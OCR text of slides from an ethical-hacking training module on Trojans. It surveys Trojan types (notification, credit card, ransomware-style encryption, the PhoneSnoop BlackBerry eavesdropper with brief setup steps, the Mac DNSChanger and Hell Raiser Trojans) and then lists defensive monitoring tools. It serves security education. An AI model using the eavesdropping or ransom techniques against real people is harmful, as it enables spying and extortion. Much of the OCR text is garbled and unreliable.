formats all local | not be able to
and network | boot the
drives

Operating
System

M4sT3r Trojan
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Notification Trojans

Victim’s Location Victim’s Activities

Whenever the victim’s computer connects to
- the Internet, the attacker receives the
notification

Notification Types

§OIF0ICoCLLL > _ Directly notifies the attacker's server  L.iceiesensnnas

#eeseeeeaeeaB | |CQ Notification  Notifies the attacker using ICQ channels  sevesesrennn :

Notification Trojan sends the location of the
victim’s IP address to the attacker

e $  PHP Notification Sends the data by connecting to PHP server on the

P by, attacker's server
: & >
d E-Mail
B )ig/» A Notificaaiion Sends the notification through email

Victim 'EPEPPRPRPPRY > Net Send Notification is sent through net send command =~ sessceececeees I Attacker
Infected with : B _ - :
Trojan e $  CGl Notification Sendst .E ata by connecting to PHP server on the e e EatE
: attacker's server :
e > IRCnotification  Notifies the attacker using IRC channels ~ "77romemsseese g
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Trojans

......................................................................... P e e S L e e e L U S U 8 s L i Nos sy
Credit card Trojans steal | Credit card Trojans trick V,SA
victims' credit card users to visit fake e- ——
related data such banking websites and
as card no., CVV2, and enter personal
billing details information K‘_’

o Diners Club
International’
DISCOVER

NETWORK ’
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Data Hiding Trojans (Encrypted Trojans)

Encryption Trojan encrypts
data files in victim's
system and renders
information unusable

“Your computer caught
our software while
browsing illegal porn
pages, all your
documents, text files,
databases in the
folder

My Documents

was encrypted with
complex password.”

Company '
Database

Personal

Information

C++ source code

Important

\/
ﬁiles & Folders

Attackers demand a ransom
or force victims to make
purchases from their
online drug stores in return
for the password to unlock
files

|
i “Do not try to search
| for a program that

, l h encrypted your
(L%_ ™ information — it
. Confidential simply does not
p Documents | i :
o exists in your
§ hard disk anymore,”
Financial
Shlons pay us the money to
unlock the password
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BlackBerry Trojan:

PhoneSnoop Trojan remotely i ’ piow PhoneSnoop

activates the microphone of a et Dk Erae SRSt UTRar: +121200913317

BlackBerry handheld and listens o:\}:‘eo CZEE

to sounds near or around it g:gsns(figf_tlﬁ?;gnLowmwcawn Alow

It can be used to spy on an ;,_‘;;’I(“ e EEEQ" Enter the Phone number thé.]t you

s dnidas] input Smutaton aiow want to trigger the remote listening

and click Activate
Change the permissions for Input e
Simulation and Phone to Allow ;

Install PhoneSnoop
(PhoneSnoop.jad)

s
28 3%

[ = 1139 PM
X ) 39
» sentinel
g o *| Downloads

Go to Options = Advanced Options Go to your Downloads or Home 7o
—> Applications to select PhoneSnoop Screen and locate the PhoneSnoop */\ f" “’ 4 f & @
application permissions icon and start the application

©

&

PhoneSnoop
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IMAC OS X Trojan: DNSChanger

This Trojan uses social engineering techniques to make users download the program and run malicious code

User Prompts

Users are prompted
to download a new
codec to watch
videos

Install. pg

w Install MacCodec

£

e License Agr

oduction .\\_ Engjm‘ e |
User Downloads \ i q

YOU SHOULD CAREFULLY AEAD THE FOLLOWING TERMS AND
CONDITIONS BEFORE USING THIS PRODUCT. IT CONTAINS
SOFTWARE, THE USE OF WHICH 1S LICENSED BY LICENSOR TO
ITS CUSTOMERS FOR THEIR USE ONLY AS SET FORTH BELOW.
Al 7 IF YOU DO NOT AGREE TO THE TERMS AND CONDITIONS OF
The user then - 3 = THIS AGREEMENT, DO NOT USE THE SOFTWARE. USING ANY

PART OF THE SOFTWARE INDICATES THAT YOU ACCEPT THESE
TERMS.

downloads the codec : B * O i oo s - i A

WARRANTIES UNDER THIS AGREEMENT, AND LICENSOR

- e DISCLAMS ANY IMPLIED WARRANTY OF MERCHANTABILITY OR
m h 1 \/ I - FITNESS FOR PARTICULAR PURPOSE

GRANT OF LICENSE: Licensor grants 1 you this personal, limied,
non-exciysive, non-transferadle, non-assignabie icense solely o use

in & single copy of the Licensed Works on a single computer for use

by a single concurrent usar only, and solely provided that you adhere

10 all of the jarms and conditions of this Aareemeant. “Licensed Works™ .~

(print.. ) ( Save.. ) { CoBack ) ( Continue )
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MAC OS X Trojan: DNSChanger

DNS Settings Playing a Video

Local machine's DNS . After the fake codec is
settings are changed | installed, a video is

to attacker’s IP played so as not to raise
address suspicion

5 Complete Control HTTP message

Hackers take complete A notification is sent to
control of victim’s MAC ‘ the attacker about the
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Mac OS X Trojan: Hell Raiser

—
| Mo et chat be rude e smart wely sheli systom spotheght  advanced | 1 Hr tell chat be rude be smart web sheh data

system spotihght advamced |
05X 27 items Chat interface
MACTYML MACCRIATOR  LENGTH VIsBLE

> NOOb X(I got pwned)X wtf
Yodd MACS 4

tyler???7 U GOT MAXORED XD
Vol MACS
uwr d MACS
Users PAACS

MACS

@ sviem " rancs
BY s : raacs

lest (| rename wash | makuvis | | download launch |

SET VICTIMX'S WINDOW ) | LAUNCH
come tack | | nww teider deinte | makwiows (| uplosd wiect

Victim's parameters Victim's parameters

ip address localhest

port: 24745 DISCONNECT ip address: localhost DISCONNECT

Status Status

Connected Connectod

—
control events ' data tran

—
£ control events  data transfer

1 ‘-
[ Kt/men M 20934 ﬁ:‘ 3 ERROR

use ‘Cancel’ button was pushed
s been closed
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Module Flow

Trojan
Concepts

Trojan
Infection

Types of
Trojans

Counter-
measures

Anti-Trojan
Software

Detection

Penetration
Testing
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Scanning for Suspicious

-J Trojans open unused ports in victim machine to connect back to Trojan handlers

-J Look for the connection established to unknown or suspicious IP addresses

@ C\Windows\system32\cmd exe o | 1S |-

C:\>netstat -an

Active Connections

>
Q.
Q.
B
m
)l
n

Address
135

0:445
0:1025
0:1026
0:1027
0:1028
0:1029

.0:3389
0
0
0
0
0
0

)]
-

Proto o
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
1CP

o

O(DCDC)O(DC)C)OCD;

O(DC)OCDCDO<DC>O<DC>OC%S-

I Y-X-t-T=t-T=-t-T-l-t-X-I-1-E

15357
: 8080
.1:1036
.1:1037
.1:1038
.1:1039

COO0COOOOOOON
CO0COO0OCOO0OO™M
COO0COCOO0O0O0OO

QOO OCOO0OO0OOOOOOO

Tl
1

r 4
M
g
U
W

Cenified Ethical Hacke

Typenetstat —an
in command prompt

System Administrator
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Port Monitoring Tool: IceSword

vgeiB29C6D

File Dunp Plugin View Heb

o )

ESTASLISHED
192.168.168, 1% ¢ 9.85.153.400 : ESTASLISHED D:\Program Fies\Moeila Frefoxifirefox.exe
192.168.168,0% ; DAWINDOWS\system32\svchost .exe
152.168.168, 7% : .0.0.0: LISTENING NT OS Kernel
192,168.168,0% ; NT OS5 Kernel
152.168.168, % : H NT O5 Kernel
192.168.168.1% : : DA\WINDOWS\system32|svchost. exe
192.163.168, 0% : 192.168.168.1 : 445 ESTABLISHED NT OS Kernel
127.0.0.% : 1500 b2 D:AWINDOWS!system32isvchost. exe
127.0.0,5 : 12348 0.0.00: LISTENING Di\Program Fies\Hde My IP\HideMyIpSry.exe
127.0.0.0 : 12346 0.0.00: LISTENING D:\Program Fles\Hde My [PiHdeMyIpSrv.exe
127.0.0.5 : 12344 0.0.00: LISTENING D:\Program Fies\Hde My [P\HdeMylpSrv.exe
127.00.0 : 123 e 9 DI\WINDOWS\system32\svchost . exe
127.0.0.5 : 1151 2 DAWINDOWS\explorer.exe
127.0.0.7 : 1106 3 D:\Program Fies\Hde My [P\HideMylP. exe
127.0.0.) : 1067 A 5 6 ESTASLISHED 6 Di\Program Fles\Mozila Frefox\firefox. exe
127.0.0.% : 1066 82 ESTABLISHED 0:\Program Fles\Mogila Frefoxifirefor, exe
127.0.0.0 : 1065 8 ESTABLISHED 6  D:\Program Fles\Mozils Frefoxifirefox. exe
127.0.0.¢ : 1064 8 ESTASLISHED 6 D:\Program Fles\Mozilla Frefox|firefox.exe
127.0.0.4 : 1050 : LISTENING DAWINDOWS\system3Zialg. exe
127.0.0.5 : 1043 $ D:\WINDOWS|system3Ziwinlogon.exe
127.0.0.0 : 1026 DAWINDOWS!system32|jsass.exe
0.0.0.0: 7250 ! LISTENING D:\Program Fles\RDSS|sveagnt.exe
0.0.0.0:500 H D:AWINDOWS\ sy stem32)jcass exe
0.0,0.0 : 4500 D:\WINDOWS\system32Zisass,.exe
0.0.0.0: 445 : LISTENING NT O5 Kernel
0.0.0.0:445 : NT OS5 Kernel
0.0.0.0: 4011 ; LISTENING D:\Program Fles\Oleansoft\Hciservemp, exe
0.0.0.0;: 4010 : LISTENING D:\Program Fies\Oleansoft\Hc\servemp, exe
0.0.00:135 : LISTENING DAWINDOWS|system32\svchost. exe
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Port Monitoring Tools: and

4 ew - niernails: www.s niernals.com -
& TCPView - Sysinternals ysinternal =]
Fie Options Process View Help
Ha <@
Proc / PID Protocol Local Address Local Port Remote Addess  Remote Port I
1 slgene e84 TP S = ~ —
W explorerexe 1912 UpP
% fdm exe 376 P a" CurrPorts
frefox exe 3144 Tce
frefocexs 3144 cP Ele Edk Yew Options Liep
frefox exe 344 ce % b AVl & "
frefox exe 344 ce g 9@ D & a4a
fuefox exe 3144 iceP Process Name Proc... Protocol  LocalPort  LocalPor... Local Address Remote .., Remote ... Remote Address = Remote Host Name A
2 ;:‘;‘:’“-‘ ﬂ;‘é Ig Msvchost.exe 1040  UDP 1060 0.0.0.0
9 igs exe 1476 P Fsvchost.exe 1040 0.0.0.0
[ keass exe 628 UDP Bsvchost.exe 1100 Suspici 127.0.0.1
[ Lsass exe 628 UDP Dsvchost.exe 992 uspicious 192,168.168.75
servempexe 180 ice System 4 0.0.0.0 0.0.0.0
. seivempexe 180 1cP @ System 4 192.168.168.75 0.0.0.0
E’ e e e @ System 4 192.169.168.75
: : D System 4 192.168.168.75
B veostene 912 UDP
) svchostexe 1084 UpP © System 4 0.0.0.0
3 svchostexe 912 UoP @ Unknown 0 192.168.168.75 80 hitp 209.85.153.148  bom01s01-4n-f148....
] System 4 ce D Unknown 0 192.168.168.7S 80 http 94.236.53.7
—J System 4 1CP > Unknown 0 192.168.168.75 80 htp 209.85.153.100  bom01501-n-F100....
St y UOP Unknown 0 TCP 1471 192.168.168.75 80 htp 209.85.153.148  bom01s01-n-f148....
i S;ﬂ:z 4 UDP 2 unknowen 0 TCP 1460 192.165.160.75 o0 hitp 72.21.207.65
= System 4 UDP Unknown 0 TCP 1500 192.168.168.75 80 hitp 209.85.153.104  bom01s01-n-f104....
3 Unknown 0 TP 1409 192.168.168.75 80 htp 173.2225.115  3173-222-5-115.ds...
< D Unknown 0 Tcp 1462 192.168.168.75 80 http 125.252.226.19  a125-252-226-19.d...
@ Unknown 0 TP 1494 192.168.166.75 80 hitp 125.252.226.96  8125-252-226-96.d...
Ei 5! 26 Estabished: 7 List 7 :
Lot ok > Unknown 0 1cP 1495 192.168.168.75 80 http 202.54.157.139 =
< >
http://technet.microsoft.com 72 Total Ports, 15 Remote Connections, | Selacted Hir Soft Freeware. http: 'www.nir soft.net

http://www.nirsoft.net
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Scanning for Suspicious Processes

15‘« 1l
— 210

z jpiu;n-c orkaing 2212 «Ci\Program FiasiMozills Firsfocl. . D ESF 33648
H nowPs_exe 2512 <\Progeam FileslikrowRSiknow. .. DeE2182020
e baskmigr e 220 T 13 Ox=B3F28DA0

Trojans CamOUHage e WINRAR &8 = |1 ] O 53135DA0
themselves as
genuine Windows
services or hide their

0 T DeBSE4A59%5

Suspicious process
bot.exe

processes to
avoid detection

Use process
monitoring tools to
detect hidden Trojans
and backdoors

T

i
1
[}

B 2fd
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Process Monitoring Tool: What's Running

© What's Running? 3.0
File Yiew Sartup Hebp

D’ Startup - 16 | System Info |
Processes - 35 | o) Services- 90 | [E Modules - 414 | @ P Connections - 37 | ¥ Drivers - 145 |
Process Name Process... User.. CPU Product Name ¥ Basic Process Inf.
[System Process)] 0 9.5 -~
€3 <top process System 3 0.0
3 select Process ¢ S smss.exe 500 0.0 Micosoft® Check info online
& View delta Icons csrss.exe 543 0 Miaos

¥ Process Metnic Graphs

Memory - Private Bytes in Kby

- / ’ 572
T e R —l

Open folder

H 804
%2 Show processes 5 848 0.0  Microsoft®
svchost exe 924 0.0 Microsoft®
svchost exe 1012 0.0 Microsoft®
svchost exe 1078 0.0 Microsoft®
spoolsy.exe 2220 0.0
1432 0.0
1508 0.0
1092 0.0
3760 0.0 Micros
HideMylp 3700 ¥ 0.0 HideMylpSn
Isass.exe 628 0.0 Microsone
E:Z] explorer.exe 2000 Far 0.0
sefvemp. exe 312 Far 0.0 HCEmploye
o HREXE 424 Far 0.0 Hidden Rec
hkemd, exe 632 Far., 0.0  InteliRj
Igfxpers.exe 948 Far 0.0 InteliR) Co
4 dfmon, exe 1404 Far 0.0 Microsoft®
§J ram.exe 1548 Far 0.0 Free Downle
M ssscheduler.ene 880 Far 0.0 McAfee Sect
- a Snagit32.exe 1900 Far.. A 15 Snagtt ¥ Detailed Process Inform at
TecHelp exe 1704 Far 0.0 Ttem Vahe
SnagPriv.exe 1960 Far 0.0 SnagPay 5 Process Properties .
{4 smagredrtor 2460 Far 0.0 Snagit P 616 =
‘ s HiAANAD ove a0 Ear an MHidat 10 < >

Undate interval:1 seconds

http://www.whatsrunning.net
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|
L;,Jn[ 1 PrcView
[ http://www.teamcti.com
@ HijackThis

N—

http://free.antivirus.com

j@i Winsonar
< _—

http://www.fewbyte.com

HiddenFinder
{ mm—

http://www.softplatz.com

r ﬂ

http://cchwn (el EE NEWS
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Monitoring Tools

/ﬁ Autoruns

http://technet.microsoft.com

KillProcess

http://orangelampsoftware.com

Security Task Manager

http://www.neuber.com

Yet Another (remote) Process
Monitor

http://yaprocmon.sourceforge.net
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Scanning for Suspicious Registry
Entries

‘ .1 jv16 PowerTools 2010 - Registry Monitor g@@
: e Fle Select Tools Help
Windows automatically o
executes instructions in Entry's name
= Run Vakue
< Change
* RunServices Wove biaramaticn -\
* RunOnce .
. Key NetBus Trojan vaie Change
= RunServicesOnce || HKEY_LOCAL_MACHINE|SOFTWAREACE C NjA Entry added

] HKEY_LOCAL_MACHINE\SOF TWAREVACE C Fegistry entries

] HKEY_LOCAL_MACHINE\SOFTWARE\Net S

1709945  Entry added
{KEY} Key added
3 ] {KEY} Key added
HKEY_LOCAL_MACHINE\SOFTWARE\Net Soktions\NetBus\General {KEY} {KEY} Key added

* HKEY CLASSES ROOT\exe
file\shell\open\comma
nd REre ge0 &S

sections of registry "] HKEY_LOCAL_MACHINE\SOFTWARE\Net Sokutions\NetBus|General FirstRun 9/8/2010 5{Entry
] HKEY_LOCAL_MACHINE\SOFTWARE{Net Soktions\NetBus Pro  {KEY} {KEY}  Key added
:5 HKEY_LOCAL_MACHINE\SOFTWARE\Net Soktions\NetBus Pro}2.01 {KEY} {KEY} Key added
] HKEY_LOCAL_MACHINE\SOFTWARENet Soktions\NetBus Server  {KEY} {KEY} Key added
| — taiuc i, Qeet K N2

%

[ changeback || Delete ][ close |

! Selected: 0, highlighted: 1, total: 1S
~ [17:15:38 - Note }: Comparison of the two snapshots is now completed!
The fFallowing changes were detected: 0 keys and 0 entries removed, 11 keys and 4 entries added, 0 entries

Scanning registry values “\_ Trojans insert o The cilinged 2ams ars lted on te Ragutyy Morkor riow,
for suspicious entries instructions at these
may indicate the Trojan sections of registry
infection to perform malicious
activities
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Monitoring Tools
Registry Fix

http://www.registrycleanerstested.org

@ﬁ

All-Seeing Eyes

http://www.fortego.com

b

SysAnalyzer

=l Regshot
- http://labs.idefense.com \L&EW http://regshot.sourceforge.net
ﬂ Registry Shower
R

http://www.registryshower.com

| v

MJ Registry Watcher

http://www.jacobsm.com
~—
&, Tiny Watcher

http://kubicle.dcmembers.com

%?_, Active Registry Monitor

http://www.devicelock.com

http:

=
ceh.vn 3
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Scanning for Suspicious Device
Drivers

Trojan Device ‘ 4 Trojans are installed along
Driver with device drivers
‘ % downloaded from untrusted
sources and use these drivers
as a shield to avoid detection

& Systom Information
Fie Edt Veew Hep

System Ssmmary
£ Hardware Resources

& Componerts

- \ : Scan for suspicious device
e cosn T i o drivers and verify if they are
e i Cmniae. K o genuine and downloaded from
' - - the publisher's original site

#rogram droups
Startup Programs om Net'urom
OLE Reg o om NetiOwem.. ¢

Kemsl Dewer
bibdrve Kemnel Driver
Browser Suppoet Detv. ¢ File System D
Eromer USB Max Kemel Driver
Broiter Vil Mac-it. Kl Dy ivas

Find what

Choye Fnd
Search sefected category only Search category names only

Go to Run = Type msinfo32 => System Environment =» System Drivers

Cortiiad | Fibical Maches

Attacker
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Device Drivers Monitoring Tools:
DriverView

S5 DriverView

Address File Type Description Yersion Company
@ ndistapi.sys Oxf792f000  Network Dr... NDIS 3.0 connection wrappe... S5.1.2600.0 (xp... Microsoft Corporation  Microsoft® Window:
@ ndisuio.sys 0xb9425000 Network Dr... NDIS User mode IfO Driver 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ ndiswan.sys Oxbae2b000 Network Dr... MS PPP Framing Driver (Stro... 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ NOProxy.SYS Oxbaf6f000  System Driver NDIS Proxy 5.1.2600.0 (xp... Microsoft Corporation  Microsoft® Window:
@ netbios.sys Oxbaf2f000  Network Dr... NetBIOS interface driver 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ netbt.sys 0xb9f2a000  System Driver MBT Transport driver 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ npf.sys 0xf7757000  System Driver npf.sys (NTS/6 x86) Kernel ...  4.1.0.2001 CACE Technologies,... WinPcap
@ Npfs.5YS 0xf77¢7000  System Driver NPFS Driver 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ ntdll.di 0x7c¢900000 Dynamic Li...  NT Layer DLL 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ Ntfs.sys 0xf7b52000  System Driver NT File System Driver 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ ntoskrnl.exe 0x804d7000  Application NT Kernel & System 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ Null.sYS 0xf7a69000  System Driver NULL Driver 5.1.2600.0 (XP... Microsoft Corporation  Microsoft® Window:
@ parport.sys Oxbaeeb000  System Driver Parallel Port Driver 5.1,2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ Partigr.sys 0xf770f000  System Driver Partition Manager 5.1,2600.0 (%P... Microsoft Corporation  Microsoft® Window:
@ Parvdm.S5YS Oxf79bd000  System Driver VOM Parallel Driver $.1,.2600.0 (XP... Microsoft Corporation  Microsoft® Window:
@ pci.sys 0xf7597000 Dynamic Li...  NT Plug and Play PCI Enumer... 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ PCIIDEX.SYS 0xf7707000  System Driver PCI IDE Bus Driver Extension 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ pentpciS.sys Oxf76f7000  Network Dr... NDIS 5.0 driver 4.38.00 built by... AMD Inc. AMD PCnet Family N
@ portcls.sys Oxbae6a000 Sound Driver  Port Class (Class Driver for P... 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ psched.sys Oxbad73000 Network Dr... MS QoS Packet Scheduler 5.1.2600.2180 ... Microsoft Corporation  Microsoft® Window:
@ ptilink.sys 0xf7787000  System Driver Parallel Technologies DirectP...  1.10(XPClient.... Parallel Technologie... Microsoft® Window:
(- . e 0 e e ey — P et e - s : e & s -
110 kem(s), 1 Selected
http://www.nirsoft.net
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|
Driver Detective
http://www.drivershq.com

Monitoring Tools

Driver Magician
http://www.drivermagician.com

Unknown Device Identifier
http://www.zhangduo.com

¢ Driver Reviver
J 7 http://www.reviversoft.com
H~—J
= 5
& LT DriverGuide Toolkit 9 DriverScanner
r”\_ ‘ . . o o - o
\ ’ http://www.driverguidetoolkit.com http://www.uniblue.com
-
(f \ .
[ﬁ)ﬂﬂ DriverMax

http://www.innovative-sol.com

4

>

Double Driver
http://www.boozet.org
—

http://cchwn (el EE NEWS
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Scanning for Suspicious Windows
Services

Trojans spawn Windows services allow
attackers remote control to the victim
machine and pass malicious instructions

" Trojans rename their processes -
to look like a genuine Windows
. service in order to avoid
O [nterprise Service Manager 9=10.3 . .
Fe vew Actin Hep . detection

Sevvice Type
@ Begda " Divers A1

Ll I— LT

OF Windows Prasertstion Found . Opsmes.

OF Help avd Suppart Enabless

OF Human Imedace Device Aco..  Ensbles

OF Hesth Key and Certicate Ma.. Manspe

QP HITPSSL Thia sex

O Window: CandSoace Secuey

OF INAPY CD-Buring COM Servi . Marwge . <Locel

0P Java Quick, Staner Pratetch..  <Local

OF Server Suppadt

O workstaton Creales

OF TCPAP NoBa0S Helpar Enables

@hecwa T e S 2 Mo eidieion b Trojans employ rootkit techniques to manipulate
setry; Ramote Deckiop s <Loc coped D \WINDOY ern3ZAmnmeve. ene

o St T Dol oot oo o) O AT HKEY_LOCAL_MACHINE\System\CurrentControlSet

e st Pl e . g e Dot e k. \Services registry keys to hide its processes

< >

34 Services 1 Computnds) /972010 11.02 05 AM

Copyright ©® by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design

Canified Ethical Hacker

http://cchwn (el EE NEWS 6




htt

Type Display nams Shant ypes Exacitable
dirvet Shpd8inS dsabled
diver Macrosolt ACP! Dirver boot \SystemPoot\sythen3Z\DRIVERS\AL
______ dhiver ACFIEC disabled
diver 2dputB0m disabled
GRAD reng diiver AFD system \SystemPoot\System32\eivess\ald sy
G Anha 54 stopped diiver Ahal54x disabled
P acTBu2 stopped ditver ac78u2 disabled
G el stopped diver &P disabled
8 Alerte stopped Alerter deabled DAWINDOWS\system32\svehost exe -k Loc
m-—
GrAde stopped diiver Al d abled
GP amank stopped ditver amrkt daabled
8 tooMomt ttopped thaed Apphcation Management marud DAWINDOWS \system32\svehost exe -k rats
Grac ttapped dirvet dhsabled
& arc360p stopped Giiver dsabled
G 253550 stopped diver E chsabled
% asprel_stale  stopped w2 AJF' r-f T State Service marwal DAWINDOWS\Mictosalt NE T\Frameweork\v2.
G AsyreMec unnng dirver RAS Asynchronous Media Dever marual system3DORIVERS \asyncmac. sys
P atapi uneng dirves Standard IDE/ESDI Hard Disk Controller  boot \SystemR cot\systeanI2\DRIVER S\atapr sys
& Arduk stopped diver Andek dsabled
G Amarpe topped diiver ATM ARP Chent Protocol mares system3IADRIVERS \snanpe sy
Q AudoSry i) thared Windows Audo 300 DAWINDOWS\System32isvchost exe & nel
& audstub rning diives Audio Stub Driver marwal aystem3ADRIVERS \audstub syz
GPBecp nrning diiver Beep spstem
8 BITS ureng thated Background Inteligent Transfer Setvice  auto DAWINDOWS \system32\svchost exe -k nets
8 Beowser thopped thaed Computer Browser ap0 DAWINDOWS \systam3IAsvehost exs -k rats.
G chk 2k stopped driver i 2% dsabled
G cd2ant stopped diiver cd20unt disabled
@ Cdaudho stopped diiver Cdaudio system
Cdis nreing FSciver  Cdis disabled
G Cdrom unning diiver CD-ROM Driver spstem system32\DRIVERS \cdiom sys
| Properes | Stop service ) | Restadt service
Add service J Delete service I | Ext

http://tools.sysprogs.org

Windows Services Monitoring Tools:
Windows Service Manager (SxrviVian)
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Monitoring Tools
(5] [ ]| Smart Utility
[-=)

http://mywaywindows.blogspot.com

<

r

w/’\ ServiWin
©

http://www.nirsoft.net
Netwrix Service Monitor
N———

http://www.netwrix.com
™y
r__—r

Windows Service Manager Tray
http://www.childhoodcoder.com

Service Manager Plus

http://www.tsachi.net

AnVir Task Manager

http://www.anvir.com

Vista Services Optimizer
http://www.smartpcutilities.com

- ﬂ Process Hacker

http://processhacker.sourceforge.net
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Scanning for Suspicious Startup
Programs

Check start up folder Check start up program

C:\ProgramData\Microsoft\Wi entries in the registry
ndows\Start

Menu\Programs\Startup

Details are covered in
C:\Users\ (User-

Name) \AppData\Roaming\Micro next slide
soft\Windows\Start
Menu\Programs\Startup

Check Windows services Bl — Check device drivers

automatic started | automatically loaded

Go to - Type C:\Windows\System32\
- Sort by drivers

Check boot.ini or
bed (bootmgr) entries
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Windows1 Startup Registry Entries

A

HELM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\8hell Folders, Common Startup
Explorer | rRLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders, Common Startup
Startup HECU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, Startup

Setting

HECU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders, Startup

HECU\Software\Microsoft\Windows NT\CurrentVersion\Windows, load

Windows
Startup
Setting

HELM\ SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

HECU\Software\Microsoft\Windows\CurrentVersion\RunOnce

IE
Startup
Setting

HELM\SOFTWARE\Microsoft\Internet Explorer‘\Extensions

HECU\SOFTWARE\Microsoft\Internet Explorer‘iMenuExt

Programs that run on Windows startup can be located in these registry entries

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPIl, Web Design

Canified Ethical Hacker

http://cehan  (EEER. NEWS 6



Startup Programs Monitoring Tools: Starter

# Starter (Windows XP Professional) g@
Fie Edt Configuration Help
& @ @8 B8 D0 8 1 @
Ext New Edt Delete Refresh Launch Propeies  Opbons About
L Startups | WY Processes | @ Services
Sections * = X | Name « Value Sechion Ensbled  Descriphion
% At seciions 25)  |ESHEEETT [ Regety -Machins un |8 Yes | Acobe eade an o R
= ) Startup folders (1) [ Adobe & New I B Files\ado..  Registiy - Machine Run v| Ye:  Adobe Actobat Speed_au
s ] AlSeei 1 edn F2 BmFiles\Fort Registy - User Run V| Yes
82 Alusers (1) = Check ;RA-ixAUT Registty - Machine Run V) Yes
s = Clead o Files\Clear Registiy - User Run V] Yes
= @ Regsty (24) B3 clince & oete Oel DS \systom.... Recisin. Lsei Bun o/l Yas......CTF Loadat Micsoso® sl
= & Cuwentuser10) B DudeS 1Y Launch Ci+R FnFnla:
& Run(10) EasyF 3¢ M Version Information: AdobeARM.exe
3 Evider kd File properties  Ctri+P f““.' e i "
- | Eile information
S 81 Alusers (14) FlashG  systom contextmenu  PnFM | Tpool Application X Close
& Run(14) B & Freed - I Filed -
8 Bl HCEm S Explore fie folder Filed Name D:\Program Files\Common Fles\Adobe\ARM\1.(0\AdobeARM exe
™ B[] ighhk¢ (8 Explore section key gws\ Size 976,832
3 B ighuper @, soarch Intornet N WS\‘, Date+Time 09.06.201013:36:38 .
» 2 o [ 110 NR————————————, Y. | Altributes Read Only Archive Hidden System
= 8 ) KnowPS D:\Program File} » -
E ] ) £¢ iTunesHelpes “D:\Program Fil# e
p Medaware Task Manags..  "D:\Program Flt Description Adobe Reader and Acrobat Manager
s 03 B 3 MsMsGs “D:\Program Fil m Version 1450 -
b B @ QuickTime Task “DAPogram 7k Copyright  Copynight © 2010 Adobe Systems Incorporated. All nghts reserved.
= &8 Snagt 100k D:\Program Filed Product Adobe Reader and Acrobat Manager
B ™ Staitup Guu “D:\Program Fk: Resource Value
B SuvavalipdaieSched  "D\Progam | b0t version  1.4.5.0
'f' Josk S DAWINDOWSY | Company Name  Adobe Systems Incorporated
Intemal Name AdobeARM.exe
Adobe Reader and Aceobat Manages / 1.4.5.0 / Adobe Reader and Actobat Manager / At Onginal Flename AdobeARM. exe
nghts reserved |
2.34%  1.56%  43.08% 575 1430500 s
http://codestuff. tripod.com]
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Startup Programs Monitoring Tools:
Security AutoRun

@ Security Autorun

http:

'--'?: Pisrig

http://tcpmonitor.altervista.org

Y W HCURun(10) | @ MM Run(149) | OB Startup (user) - (1) € Startup (common) - (0) = #* HKCyy 1o
bk User & Adivex (15) B wilogn (9) @ Load-Run (2) W HOM | Exphy
: R": fDl:r)c © @ QU Explorer-Run (0) | W* HKCU[Desktop (1) | W MM/ RunServices (0) | §F HAM | RunS,, -
o Fcias () 0 Ocivers - (153) 8] Applrit DLL (1) &) Know OLLs (21) 2 Schedded Tasks (3) | % 1 startup (2)
% Desktop (1) &' HAM | Run Once (0) @ HM | ShelObject (4) @ HAM | Run OnceEx (0) o Startup (services) - (27)
- L:m:zm Service Name Desarption Stats  Path ~
'.'ﬁ o (14) o Macpnet_state ASPNET State Service Stoppad  D:\WINDOWS|Microscft NET\Framewo
& Run Oncs (0) o Bapsry CipEoak Stopped  DAWINDOWS|system32\dipsry.exe
@ Run OnceEx (0) i :cb_optrn:eknon_v.’.ﬂ $07... .NET Runbtme Optimation Service v2... Stopped  D:\WINDOWS\Microsoft NET\Framewo
W RunServicesOnce (0) - :CC“S-,@W COM+ System Apphcation Stopped  D:\WINDOWS|system32\dihost exe [P
W RunSeryices (0) o MYrontCache3.0.0.0 Windows Presentation Foundation Fo,..  Stopped  d:\WINDOWSIMrosoft . NE T1Framewor
® Polcies (0) a :lmx-few(e MAPT CD-Burning COM Service Stopped  D:\WINDOWS|system32imapi.exe
W ShelObject (4) g Pod Service Pod Service Rurning  "D:\Program Files\PodibinliPodService.
w Irstaled Componerts (15) o [MravaQuickstarterservice Java Quick Starter Rurning  "D:\Program Files\Javalyesibin|gs.ex
= f§ wnlogon o @ weerseve NetMeating Remote Desktop Sharing Stoppad  DAWINDOWS|system32ymnmerve axe
o WinLogen (9) a efmsorc Distributed Transaction Cocrdinator Stoppad  DIAWINDOWS|system3Zimsdic axe
=@ 5:*'“'9 Folder 8 Moce Office Source Engne Stoppad  "D:\Program Filec\Common Filesi¥Micros
& Common (© o Mocppsve Office Software Protection Plstform Rurning  "D:\Program Files|Comman FilesiMicros
H qg’::';‘)‘“s o MeortReparter Port Reporter Stopped  O:\Program Fles\PortReporteriportrep
¢ J" sew-c-ez(ﬂ) “ :HDSﬁqu Remote Desktop Help Session Manager  Stopped  D:\WINDOWS|system32isessmor . exe
5O Driver List a :rp(apﬂ Remote Packet Capture Protocol v.0 (.., Stopped  "D:\Program Fles\WinPrapirpcapd, exe
£} Orivers (153) 8 Mapcocator Remote Procedure Call (RPC) Locator  Stopped  D:AWINDOWS|system32ijocator exe
